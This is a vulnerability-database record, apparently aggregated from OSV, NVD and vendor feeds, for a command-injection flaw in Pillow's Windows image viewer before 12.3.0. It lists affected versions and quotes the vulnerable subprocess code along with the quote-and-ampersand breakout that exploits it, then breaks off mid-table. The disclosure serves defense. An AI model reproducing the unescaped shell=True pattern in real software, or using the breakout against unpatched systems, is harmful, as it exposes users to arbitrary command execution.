{"id":"CVE-2026-55798","aliases":["BIT-pillow-2026-55798","CLSA-2026-1787903381","CLSA-2026-1788345043","CLSA-2026-1788863918","GHSA-4x4j-2g7c-83w6","PYSEC-2026-2257","UBUNTU-CVE-2026-55798"],"summary":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","published_at":"2026-07-06T18:44:38.441Z","modified_at":"2026-11-17T13:30:50.593068Z","products":[],"rating":{"severity":"medium","score":4.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","attack_path":"local","user_interaction":true,"malicious":false,"red_hat":"Moderate","vendor_ratings":[{"source":"Ubuntu","rating":"medium"},{"source":"Red Hat","rating":"Moderate"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.0017900000093504786,"percentile":0.0755700021982193,"date":"2026-11-19T00:00:00Z"},"priority":3.5,"details":"Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.","affected_stack":[],"affected_other":[{"ecosystem":"Bitnami","package":"pillow","purl":"pkg:bitnami/pillow","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"fixed":["12.3.0"],"provider":"osv","source":"BIT-pillow-2026-55798","relation":"self"},{"ecosystem":"CVE","package":"python-pillow/Pillow","versions":["< 12.3.0"],"provider":"cvelistv5","source":"CVE-2026-55798","relation":"self"},{"ecosystem":"NVD","package":"python:pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"fixed":["12.3.0"],"provider":"nvd","source":"CVE-2026-55798","relation":"self"},{"ecosystem":"PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"fixed":["12.3.0"],"provider":"osv","source":"GHSA-4x4j-2g7c-83w6","relation":"self"},{"ecosystem":"PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"fixed":["12.3.0"],"provider":"osv","source":"PYSEC-2026-2257","relation":"self"},{"ecosystem":"TuxCare:PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.2.1.post0"},{"fixed":"11.2.1.post4+tuxcare"}]}],"versions":["11.2.1","11.2.1.post1+tuxcare","11.2.1.post2+tuxcare","11.2.1.post3+tuxcare"],"fixed":["11.2.1.post4+tuxcare"],"provider":"osv","source":"CLSA-2026-1786515922","relation":"upstream"},{"ecosystem":"TuxCare:PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.4.0.post0"},{"fixed":"10.4.0.post6+tuxcare"}]}],"versions":["10.4.0","10.4.0.post1+tuxcare","10.4.0.post2+tuxcare","10.4.0.post3+tuxcare","10.4.0.post4+tuxcare","10.4.0.post5+tuxcare"],"fixed":["10.4.0.post6+tuxcare"],"provider":"osv","source":"CLSA-2026-1787718630","relation":"upstream"},{"ecosystem":"TuxCare:PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.5.0.post0"},{"fixed":"9.5.0.post4+tuxcare"}]}],"versions":["9.5.0","9.5.0.post1+tuxcare","9.5.0.post2+tuxcare","9.5.0.post3+tuxcare"],"fixed":["9.5.0.post4+tuxcare"],"provider":"osv","source":"CLSA-2026-1787903381","relation":"self"},{"ecosystem":"TuxCare:PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.4.0.post0"},{"fixed":"8.4.0.post4+tuxcare"}]}],"versions":["8.4.0","8.4.0.post1+tuxcare","8.4.0.post2+tuxcare","8.4.0.post3+tuxcare"],"fixed":["8.4.0.post4+tuxcare"],"provider":"osv","source":"CLSA-2026-1788345043","relation":"self"},{"ecosystem":"TuxCare:PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.0.post0"},{"fixed":"9.4.0.post6+tuxcare"}]}],"versions":["9.4.0","9.4.0.post1+tuxcare","9.4.0.post2+tuxcare","9.4.0.post3+tuxcare","9.4.0.post4+tuxcare","9.4.0.post5+tuxcare"],"fixed":["9.4.0.post6+tuxcare"],"provider":"osv","source":"CLSA-2026-1788863918","relation":"self"},{"ecosystem":"TuxCare:PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.3.0.post0"},{"fixed":"11.3.0.post5+tuxcare"}]}],"versions":["11.3.0","11.3.0.post1+tuxcare","11.3.0.post2+tuxcare","11.3.0.post3+tuxcare","11.3.0.post4+tuxcare"],"fixed":["11.3.0.post5+tuxcare"],"provider":"osv","source":"CLSA-2026-1790674233","relation":"upstream"},{"ecosystem":"Ubuntu:22.04:LTS","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=jammy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.1.2+dfsg-0.3","9.0.0-1","9.0.1-1","9.0.1-1build1","9.0.1-1ubuntu0.1","9.0.1-1ubuntu0.2","9.0.1-1ubuntu0.3","9.0.1-1ubuntu0.4","9.0.1-1ubuntu0.5"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:24.04:LTS","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=noble","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0-1","10.1.0-1","10.2.0-1","10.2.0-1build1","10.2.0-1ubuntu1","10.2.0-1ubuntu1.2","10.2.0-1ubuntu1.3"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:25.10","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=questing","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.1.0-5build1","11.3.0-1ubuntu1","11.3.0-1ubuntu1.1","11.3.0-1ubuntu1.2","11.3.0-1ubuntu1.3"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:26.04:LTS","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=resolute","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.3.0-1ubuntu1","11.3.0-1ubuntu2","12.0.0-1ubuntu1","12.1.1-1ubuntu1","12.1.1-2ubuntu1","12.1.1-2ubuntu1.1","12.1.1-2ubuntu1.2","12.1.1-2ubuntu1.3"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:Pro:14.04:LTS","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=esm-infra-legacy%2Ftrusty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.1-1ubuntu2","2.2.1-2ubuntu1","2.2.1-3ubuntu2","2.2.1-3ubuntu3","2.2.1-3ubuntu4","2.2.1-3ubuntu6","2.3.0-1ubuntu1","2.3.0-1ubuntu2","2.3.0-1ubuntu3","2.3.0-1ubuntu3.2","2.3.0-1ubuntu3.3","2.3.0-1ubuntu3.4","2.3.0-1ubuntu3.4+esm1","2.3.0-1ubuntu3.4+esm2","2.3.0-1ubuntu3.4+esm3","2.3.0-1ubuntu3.4+esm4","2.3.0-1ubuntu3.4+esm5"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=esm-infra%2Fxenial","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.9.0-1","3.0.0-1","3.0.0-1build1","3.1.0-1","3.1.1-1","3.1.2-0ubuntu1","3.1.2-0ubuntu1.1","3.1.2-0ubuntu1.3","3.1.2-0ubuntu1.4","3.1.2-0ubuntu1.5","3.1.2-0ubuntu1.6","3.1.2-0ubuntu1.6+esm1","3.1.2-0ubuntu1.6+esm2","3.1.2-0ubuntu1.6+esm3"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=esm-infra%2Fbionic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.1.1-3build2","4.3.0-2ubuntu1","5.0.0-1","5.1.0-1","5.1.0-1ubuntu0.2","5.1.0-1ubuntu0.3","5.1.0-1ubuntu0.4","5.1.0-1ubuntu0.5","5.1.0-1ubuntu0.6","5.1.0-1ubuntu0.7","5.1.0-1ubuntu0.8","5.1.0-1ubuntu0.8+esm1","5.1.0-1ubuntu0.8+esm2"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=esm-infra%2Ffocal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.0-1","6.1.0-1build1","6.2.1-2","7.0.0-4","7.0.0-4build1","7.0.0-4ubuntu0.1","7.0.0-4ubuntu0.2","7.0.0-4ubuntu0.3","7.0.0-4ubuntu0.4","7.0.0-4ubuntu0.5","7.0.0-4ubuntu0.6","7.0.0-4ubuntu0.7","7.0.0-4ubuntu0.8","7.0.0-4ubuntu0.9","7.0.0-4ubuntu0.9+esm1"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow-python2","purl":"pkg:deb/ubuntu/pillow-python2?arch=source&distro=esm-apps%2Ffocal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1-3~build1","6.2.1-3","6.2.1-3ubuntu0.1~esm1","6.2.1-3ubuntu0.1~esm2"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Exploit Intelligence","cpe":"cpe:/a:redhat:exploit_intelligence:0","status":"not_affected","packages":["exploit-intelligence-tech-preview/vulnerability-analysis-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Lightspeed Core","cpe":"cpe:/a:redhat:lightspeed_core","status":"not_affected","packages":["lightspeed-core/lightspeed-stack-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"OpenShift Lightspeed","cpe":"cpe:/a:redhat:openshift_lightspeed:1","status":"not_affected","packages":["openshift-lightspeed-tech-preview/lightspeed-rag-tool-rhel9","openshift-lightspeed/lightspeed-ocp-rag-rhel9","openshift-lightspeed/lightspeed-service-api-rhel9"],"package_count":3,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat AI Inference Server","cpe":"cpe:/a:redhat:ai_inference_server:3","status":"not_affected","packages":["rhaii/model-opt-cuda-rhel9","rhaii/vllm-cpu-rhel9","rhaii/vllm-cuda-rhel9","rhaii/vllm-gaudi-rhel9","rhaii/vllm-neuron-rhel9","rhaii/vllm-rocm-rhel9","rhaii/vllm-spyre-rhel9","rhaii/vllm-tpu-rhel9","rhaiis/model-opt-cuda-rhel9","rhaiis/vllm-cpu-rhel9","rhaiis/vllm-cuda-rhel9","rhaiis/vllm-neuron-rhel9","rhaiis/vllm-rocm-rhel9","rhaiis/vllm-spyre-rhel9","rhaiis/vllm-tpu-rhel9"],"package_count":15,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"not_affected","packages":["ansible-automation-platform-25/lightspeed-chatbot-rhel8","ansible-automation-platform-26/hub-rhel9","ansible-automation-platform-26/lightspeed-chatbot-rhel9","ansible-automation-platform-27/hub-rhel9","ansible-automation-platform-27/lightspeed-chatbot-rhel9","ansible-automation-platform/automation-dashboard-rhel9","python-pillow"],"package_count":7,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux 7","cpe":"cpe:/o:redhat:rhel_els:7","status":"not_affected","packages":["python-pillow","python-pillow-devel","python-pillow-doc","python-pillow-qt","python-pillow-sane","python-pillow-tk"],"package_count":6,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","cpe":"cpe:/a:redhat:enterprise_linux:8","status":"not_affected","packages":["python-pillow","python3-pillow","python3-pillow-devel","python3-pillow-doc","python3-pillow-tk"],"package_count":5,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux AI (RHEL AI) 3","cpe":"cpe:/a:redhat:enterprise_linux_ai:3","status":"not_affected","packages":["rhelai3/bootc-aws-cuda-rhel9","rhelai3/bootc-azure-cuda-rhel9","rhelai3/bootc-azure-rocm-rhel9","rhelai3/bootc-cuda-rhel9","rhelai3/bootc-gaudi-rhel9","rhelai3/bootc-gcp-cuda-rhel9","rhelai3/bootc-rocm-rhel9","rhelai3/disk-image-cuda-rhel9"],"package_count":8,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"not_affected","packages":["rhoai/odh-automl-rhel9","rhoai/odh-autorag-rhel9","rhoai/odh-caikit-nlp-rhel9","rhoai/odh-caikit-tgis-serving-rhel9","rhoai/odh-kserve-agent-rhel9","rhoai/odh-kserve-autogluon-server-rhel9","rhoai/odh-kserve-controller-rhel9","rhoai/odh-kserve-router-rhel9","rhoai/odh-kserve-storage-initializer-rhel9","rhoai/odh-llama-stack-core-rhel9","rhoai/odh-llm-d-inference-scheduler-rhel9","rhoai/odh-llm-d-kv-cache-rhel9","rhoai/odh-mlflow-rhel9","rhoai/odh-openvino-model-server-rhel9","rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-rocm-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-rocm-py312-rhel9","rhoai/odh-th06-cpu-torch210-py312-rhel9","rhoai/odh-th06-cpu-torch291-py312-rhel9","rhoai/odh-th06-cuda130-torch210-py312-rhel9","rhoai/odh-th06-cuda130-torch291-py312-rhel9","rhoai/odh-th06-rocm64-torch291-py312-rhel9"],"package_count":38,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat Quay 3","cpe":"cpe:/a:redhat:quay:3","status":"not_affected","packages":["quay/quay-rhel8","quay/quay-rhel9"],"package_count":2,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat Satellite 6","cpe":"cpe:/a:redhat:satellite:6","status":"not_affected","packages":["python-pillow"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"}],"records":[{"provider":"osv","source_id":"CLSA-2026-1786515922","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1786515922","published_at":"2026-08-12T06:25:22Z","modified_at":"2026-11-17T13:30:57.04553Z","summary":"TuxCare security update for pillow (9 CVEs)","details":"TuxCare rebuilt pillow to address 9 CVEs. Fixed in 11.2.1.post4+tuxcare.","severity":[],"affected":[{"ecosystem":"TuxCare:PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.2.1.post0"},{"fixed":"11.2.1.post4+tuxcare"}]}],"versions":["11.2.1","11.2.1.post1+tuxcare","11.2.1.post2+tuxcare","11.2.1.post3+tuxcare"],"fixed":["11.2.1.post4+tuxcare"],"provider":"osv","source":"CLSA-2026-1786515922","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1787718630","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1787718630","published_at":"2026-08-26T04:30:30Z","modified_at":"2026-11-17T13:30:08.764657Z","summary":"TuxCare security update for pillow (3 CVEs)","details":"TuxCare rebuilt pillow to address 3 CVEs. Fixed in 10.4.0.post6+tuxcare.","severity":[],"affected":[{"ecosystem":"TuxCare:PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.4.0.post0"},{"fixed":"10.4.0.post6+tuxcare"}]}],"versions":["10.4.0","10.4.0.post1+tuxcare","10.4.0.post2+tuxcare","10.4.0.post3+tuxcare","10.4.0.post4+tuxcare","10.4.0.post5+tuxcare"],"fixed":["10.4.0.post6+tuxcare"],"provider":"osv","source":"CLSA-2026-1787718630","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1790674233","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1790674233","published_at":"2026-09-29T09:30:33Z","modified_at":"2026-11-17T13:31:07.273543Z","summary":"TuxCare security update for pillow (14 CVEs)","details":"TuxCare rebuilt pillow to address 14 CVEs. Fixed in 11.3.0.post5+tuxcare.","severity":[],"affected":[{"ecosystem":"TuxCare:PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.3.0.post0"},{"fixed":"11.3.0.post5+tuxcare"}]}],"versions":["11.3.0","11.3.0.post1+tuxcare","11.3.0.post2+tuxcare","11.3.0.post3+tuxcare","11.3.0.post4+tuxcare"],"fixed":["11.3.0.post5+tuxcare"],"provider":"osv","source":"CLSA-2026-1790674233","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"cvelistv5","source_id":"CVE-2026-55798","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-55798","license":"CC-BY-4.0","published_at":"2026-07-06T18:44:38.441Z","modified_at":"2026-07-07T15:19:40.072Z","summary":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","details":"Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","source":"CVE-2026-55798"}],"affected":[{"ecosystem":"CVE","package":"python-pillow/Pillow","versions":["< 12.3.0"],"provider":"cvelistv5","source":"CVE-2026-55798","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"}]},{"provider":"nvd","source_id":"CVE-2026-55798","relation":"self","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55798","severity":[],"affected":[{"ecosystem":"NVD","package":"python:pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"fixed":["12.3.0"],"provider":"nvd","source":"CVE-2026-55798","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"BIT-pillow-2026-55798","relation":"self","url":"https://osv.dev/vulnerability/BIT-pillow-2026-55798","license":"Apache-2.0","published_at":"2026-07-08T11:34:13.482Z","modified_at":"2026-09-08T08:48:18.513567Z","summary":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","details":"Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","source":"BIT-pillow-2026-55798"}],"affected":[{"ecosystem":"Bitnami","package":"pillow","purl":"pkg:bitnami/pillow","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"fixed":["12.3.0"],"provider":"osv","source":"BIT-pillow-2026-55798","relation":"self"}],"product_status":[],"references":[{"type":"ARTICLE","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f"},{"type":"ADVISORY","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55798"}]},{"provider":"osv","source_id":"CLSA-2026-1787903381","relation":"self","url":"https://osv.dev/vulnerability/CLSA-2026-1787903381","published_at":"2026-08-28T07:49:41Z","modified_at":"2026-11-17T13:30:40.101152Z","summary":"TuxCare security update for pillow (1 CVE)","details":"TuxCare rebuilt pillow to address 1 CVE. Fixed in 9.5.0.post4+tuxcare.","severity":[],"affected":[{"ecosystem":"TuxCare:PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.5.0.post0"},{"fixed":"9.5.0.post4+tuxcare"}]}],"versions":["9.5.0","9.5.0.post1+tuxcare","9.5.0.post2+tuxcare","9.5.0.post3+tuxcare"],"fixed":["9.5.0.post4+tuxcare"],"provider":"osv","source":"CLSA-2026-1787903381","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1788345043","relation":"self","url":"https://osv.dev/vulnerability/CLSA-2026-1788345043","published_at":"2026-09-02T10:30:43Z","modified_at":"2026-11-17T13:30:48.227541Z","summary":"TuxCare security update for pillow (1 CVE)","details":"TuxCare rebuilt pillow to address 1 CVE. Fixed in 8.4.0.post4+tuxcare.","severity":[],"affected":[{"ecosystem":"TuxCare:PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.4.0.post0"},{"fixed":"8.4.0.post4+tuxcare"}]}],"versions":["8.4.0","8.4.0.post1+tuxcare","8.4.0.post2+tuxcare","8.4.0.post3+tuxcare"],"fixed":["8.4.0.post4+tuxcare"],"provider":"osv","source":"CLSA-2026-1788345043","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1788863918","relation":"self","url":"https://osv.dev/vulnerability/CLSA-2026-1788863918","published_at":"2026-09-08T10:38:38Z","modified_at":"2026-11-17T13:30:50.593068Z","summary":"TuxCare security update for pillow (1 CVE)","details":"TuxCare rebuilt pillow to address 1 CVE. Fixed in 9.4.0.post6+tuxcare.","severity":[],"affected":[{"ecosystem":"TuxCare:PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.0.post0"},{"fixed":"9.4.0.post6+tuxcare"}]}],"versions":["9.4.0","9.4.0.post1+tuxcare","9.4.0.post2+tuxcare","9.4.0.post3+tuxcare","9.4.0.post4+tuxcare","9.4.0.post5+tuxcare"],"fixed":["9.4.0.post6+tuxcare"],"provider":"osv","source":"CLSA-2026-1788863918","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"GHSA-4x4j-2g7c-83w6","relation":"self","url":"https://osv.dev/vulnerability/GHSA-4x4j-2g7c-83w6","license":"CC-BY-4.0","published_at":"2026-07-20T21:14:14Z","modified_at":"2026-09-10T03:51:10.324377Z","summary":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","details":"### 1. Summary\n\n`WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a\nfile path into an f-string without escaping. The result is passed to\n`subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most\nimportantly a double-quote (`\"`) that breaks out of the wrapping, followed by `&` — allow\ninjection of arbitrary `cmd.exe` commands.\n\nThe macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter.\nThe Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this\nprotection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`.\n\n---\n\n### 2. Vulnerable Code\n\n**File:** `src/PIL/ImageShow.py`, lines 133–150\n\n```python\nclass WindowsViewer(Viewer):\n    format = \"PNG\"\n    options = {\"compress_level\": 1, \"save_all\": True}\n\n    def get_command(self, file: str, **options: Any) -> str:\n        return (\n            f'start \"Pillow\" /WAIT \"{file}\" '    # ← f-string, no escaping\n            \"&& ping -n 4 127.0.0.1 >NUL \"\n            f'&& del /f \"{file}\"'                # ← same path, unescaped again\n        )\n\n    def show_file(self, path: str, **options: Any) -> int:\n        if not os.path.exists(path):\n            raise FileNotFoundError\n        subprocess.Popen(\n            self.get_command(path, **options),\n            shell=True,                          # ← shell=True\n            creationflags=getattr(subprocess, \"CREATE_NO_WINDOW\"),\n        )  # nosec                               # ← Bandit warning suppressed manually\n        return 1\n```\n\n**Contrast with macOS — SAFE (line 164–168):**\n```python\nclass MacViewer(Viewer):\n    def get_command(self, file: str, **options: Any) -> str:\n        command = \"open -a Preview.app\"\n        command = f\"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&\"\n        return command                           # ← shlex.quote() applied\n```\n\n**Cross-platform summary:**\n\n| Platform | Class          | `shlex.quote()`? | 